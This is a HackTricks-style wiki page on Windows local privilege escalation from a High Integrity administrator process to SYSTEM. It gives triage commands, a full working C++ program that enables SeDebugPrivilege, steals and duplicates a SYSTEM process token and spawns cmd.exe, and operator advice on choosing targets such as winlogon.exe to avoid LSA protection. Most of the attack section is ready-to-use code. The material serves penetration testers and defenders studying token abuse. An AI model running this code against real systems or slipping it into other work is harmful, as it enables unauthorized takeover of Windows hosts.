seimpersonate-from-high-to-system.md (12714B)
1 --- 2 title: "SeImpersonate from High To System" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SeImpersonate from High To System 14 15 This page is about the **manual** version of going from a **High Integrity administrator process** to **`NT AUTHORITY\SYSTEM`** by **opening a non-protected SYSTEM process, duplicating its token, and spawning a child process with that token**. 16 17 If you only have **`SeImpersonatePrivilege`** / **`SeAssignPrimaryTokenPrivilege`** but **cannot open a suitable SYSTEM process**, the **Potato / named-pipe** path is usually more reliable: 18 19 [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation) 20 21 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer) 22 23 If what you want is not only `SYSTEM` but a **SYSTEM token with as many privileges as possible**, also check: 24 25 [Sedebug + Seimpersonate Copy Token](/hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-seimpersonate-copy-token) 26 27 ## Quick triage 28 29 Before trying to steal a token, quickly validate the context: 30 31 ```batch 32 whoami /groups | findstr /i "high mandatory" 33 whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege" 34 ``` 35 36 Practical notes: 37 38 - A **High Integrity** admin token is usually enough to **enable `SeDebugPrivilege`** and open many non-protected SYSTEM processes. 39 - **`CreateProcessWithTokenW` requires `SeImpersonatePrivilege`** on the caller. If that API fails with `1314`, switch to `CreateProcessAsUserW` after you already duplicated a SYSTEM primary token. 40 - On modern Windows, **`lsass.exe` is often a bad target** because **LSA protection / PPL** blocks access even for administrators with `SeDebugPrivilege`. Prefer **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** running as SYSTEM. 41 - Not every SYSTEM process has an equally useful token. If you get SYSTEM but notice missing privileges, try a different SYSTEM process instead of assuming the technique is broken. 42 43 ## Pick the PID carefully 44 45 The easiest way to make this work reliably is to **choose a SYSTEM process whose DACL actually allows Administrators to query the process and duplicate its token**. 46 47 Good candidates to test first: 48 49 - `winlogon.exe` 50 - `wininit.exe` 51 - `services.exe` 52 - some early `svchost.exe` instances running as SYSTEM 53 54 Avoid by default: 55 56 - `lsass.exe` on hosts where **RunAsPPL / LSA protection** is enabled 57 - protected / security-sensitive processes that return `Access denied` even after enabling `SeDebugPrivilege` 58 59 You can inspect candidate processes and their token/ACLs with **Process Explorer** or **Process Hacker** running elevated. 60 61 ### Code 62 63 The following code comes from [this access-token article](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It accepts a **process ID as an argument** and starts a command shell **as the user** of that process.<sup>[[3]](#references)</sup>\ 64 Running in a High Integrity process you can **indicate the PID of a process running as System** (like `winlogon`, `wininit`) and execute a `cmd.exe` as SYSTEM.<sup>[[3]](#references)</sup> 65 66 ```cpp 67 impersonateuser.exe 1234 68 ``` 69 70 ```cpp 71 // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962 72 73 #include <windows.h> 74 #include <iostream> 75 #include <Lmcons.h> 76 BOOL SetPrivilege( 77 HANDLE hToken, // access token handle 78 LPCTSTR lpszPrivilege, // name of privilege to enable/disable 79 BOOL bEnablePrivilege // to enable or disable privilege 80 ) 81 { 82 TOKEN_PRIVILEGES tp; 83 LUID luid; 84 if (!LookupPrivilegeValue( 85 NULL, // lookup privilege on local system 86 lpszPrivilege, // privilege to lookup 87 &luid)) // receives LUID of privilege 88 { 89 printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); 90 return FALSE; 91 } 92 tp.PrivilegeCount = 1; 93 tp.Privileges[0].Luid = luid; 94 if (bEnablePrivilege) 95 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 96 else 97 tp.Privileges[0].Attributes = 0; 98 // Enable the privilege or disable all privileges. 99 if (!AdjustTokenPrivileges( 100 hToken, 101 FALSE, 102 &tp, 103 sizeof(TOKEN_PRIVILEGES), 104 (PTOKEN_PRIVILEGES)NULL, 105 (PDWORD)NULL)) 106 { 107 printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); 108 return FALSE; 109 } 110 if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 111 { 112 printf("[-] The token does not have the specified privilege. \n"); 113 return FALSE; 114 } 115 return TRUE; 116 } 117 std::string get_username() 118 { 119 TCHAR username[UNLEN + 1]; 120 DWORD username_len = UNLEN + 1; 121 GetUserName(username, &username_len); 122 std::wstring username_w(username); 123 std::string username_s(username_w.begin(), username_w.end()); 124 return username_s; 125 } 126 int main(int argc, char** argv) { 127 // Print whoami to compare to thread later 128 printf("[+] Current user is: %s\n", (get_username()).c_str()); 129 // Grab PID from command line argument 130 char* pid_c = argv[1]; 131 DWORD PID_TO_IMPERSONATE = atoi(pid_c); 132 // Initialize variables and structures 133 HANDLE tokenHandle = NULL; 134 HANDLE duplicateTokenHandle = NULL; 135 STARTUPINFO startupInfo; 136 PROCESS_INFORMATION processInformation; 137 ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); 138 ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); 139 startupInfo.cb = sizeof(STARTUPINFO); 140 // Add SE debug privilege 141 HANDLE currentTokenHandle = NULL; 142 BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); 143 if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) 144 { 145 printf("[+] SeDebugPrivilege enabled!\n"); 146 } 147 // Call OpenProcess(), print return code and error code 148 HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); 149 if (GetLastError() == NULL) 150 printf("[+] OpenProcess() success!\n"); 151 else 152 { 153 printf("[-] OpenProcess() Return Code: %i\n", processHandle); 154 printf("[-] OpenProcess() Error: %i\n", GetLastError()); 155 } 156 // Call OpenProcessToken(), print return code and error code 157 BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); 158 if (GetLastError() == NULL) 159 printf("[+] OpenProcessToken() success!\n"); 160 else 161 { 162 printf("[-] OpenProcessToken() Return Code: %i\n", getToken); 163 printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); 164 } 165 // Impersonate user in a thread 166 BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); 167 if (GetLastError() == NULL) 168 { 169 printf("[+] ImpersonatedLoggedOnUser() success!\n"); 170 printf("[+] Current user is: %s\n", (get_username()).c_str()); 171 printf("[+] Reverting thread to original user context\n"); 172 RevertToSelf(); 173 } 174 else 175 { 176 printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); 177 printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); 178 } 179 // Call DuplicateTokenEx(), print return code and error code 180 BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); 181 if (GetLastError() == NULL) 182 printf("[+] DuplicateTokenEx() success!\n"); 183 else 184 { 185 printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); 186 printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); 187 } 188 // Call CreateProcessWithTokenW(), print return code and error code 189 BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); 190 if (GetLastError() == NULL) 191 printf("[+] Process spawned!\n"); 192 else 193 { 194 printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); 195 printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); 196 } 197 return 0; 198 } 199 ``` 200 201 ## Useful API / access-right notes 202 203 The sample uses `MAXIMUM_ALLOWED`, but for real operations it's useful to remember the minimum pieces involved: 204 205 - `OpenProcessToken()` only requires that the **process handle** was opened with **`PROCESS_QUERY_LIMITED_INFORMATION`**. 206 - To use `CreateProcessWithTokenW()`, the **primary token handle** must have **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**.<sup>[[1]](#references)</sup> 207 - `DuplicateTokenEx()` must create a **primary token** (`TokenPrimary`), not only an impersonation token. 208 - If you already impersonated SYSTEM and `CreateProcessWithTokenW()` still fails with `1314`, try `CreateProcessAsUserW()` instead. 209 210 That means that **opening the target process with `PROCESS_ALL_ACCESS` is usually unnecessary and noisier** than just requesting the rights needed to query the token. 211 212 ## Error 213 214 On some occasions you may try to impersonate System and it won't work showing an output like the following: 215 216 ```cpp 217 [+] OpenProcess() success! 218 [+] OpenProcessToken() success! 219 [-] ImpersonatedLoggedOnUser() Return Code: 1 220 [-] ImpersonatedLoggedOnUser() Error: 5 221 [-] DuplicateTokenEx() Return Code: 0 222 [-] DupicateTokenEx() Error: 5 223 [-] CreateProcessWithTokenW Return Code: 0 224 [-] CreateProcessWithTokenW Error: 1326 225 ``` 226 227 This means that even if you are running on a High Integrity level **you don't have enough permissions** over that target process/token.\ 228 Let's check current Administrator permissions over `svchost.exe` processes with **Process Explorer** (or you can also use **Process Hacker**): 229 230 1. Select a process of `svchost.exe` 231 2. Right Click --> Properties 232 3. Inside "Security" Tab click in the bottom right the button "Permissions" 233 4. Click on "Advanced" 234 5. Select "Administrators" and click on "Edit" 235 6. Click on "Show advanced permissions" 236 237  238 239 The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges) 240 241 See the privileges "Administrators" have over `winlogon.exe`: 242 243  244 245 Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process. 246 247 ### Common failure causes 248 249 - **`OpenProcess()` / `OpenProcessToken()` -> `5 (Access denied)`**: the process DACL blocks you, or the target is **protected/PPL**. Pick another SYSTEM process. 250 - **`DuplicateTokenEx()` -> `5 (Access denied)`**: your token handle was opened without enough rights, or the target token DACL prevents duplication. 251 - **`CreateProcessWithTokenW()` -> `1314`**: the caller doesn't currently have **`SeImpersonatePrivilege`** enabled. Try enabling it first or use `CreateProcessAsUserW()` with the duplicated primary token. 252 - **`CreateProcessWithTokenW()` -> `1326`** after previous failures: this often just means the earlier token duplication/impersonation step failed, so there is no usable primary token to launch the child process. 253 254 ## Operator notes 255 256 - This technique is great when you are already **local admin + high integrity** and just want a quick, manual path to SYSTEM without spinning up a service or a named-pipe coercion chain. 257 - On hardened Windows 11 / Server environments, **LSA protection is increasingly common**, so a workflow that assumes `lsass.exe` is always readable is brittle. **`winlogon.exe` / `wininit.exe` / `services.exe` are usually better first picks**.<sup>[[2]](#references)</sup> 258 - If you land in a **service account** context instead of an elevated admin desktop, the **Potato family** is usually a better fit than this page. 259 260 261 ## References 262 263 - [1] [Microsoft: CreateProcessWithTokenW](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) 264 - [2] [SensePost: Abusing Windows' tokens to compromise Active Directory without touching LSASS](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/) 265 - [3] [Understanding and Abusing Process Tokens — Part II](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)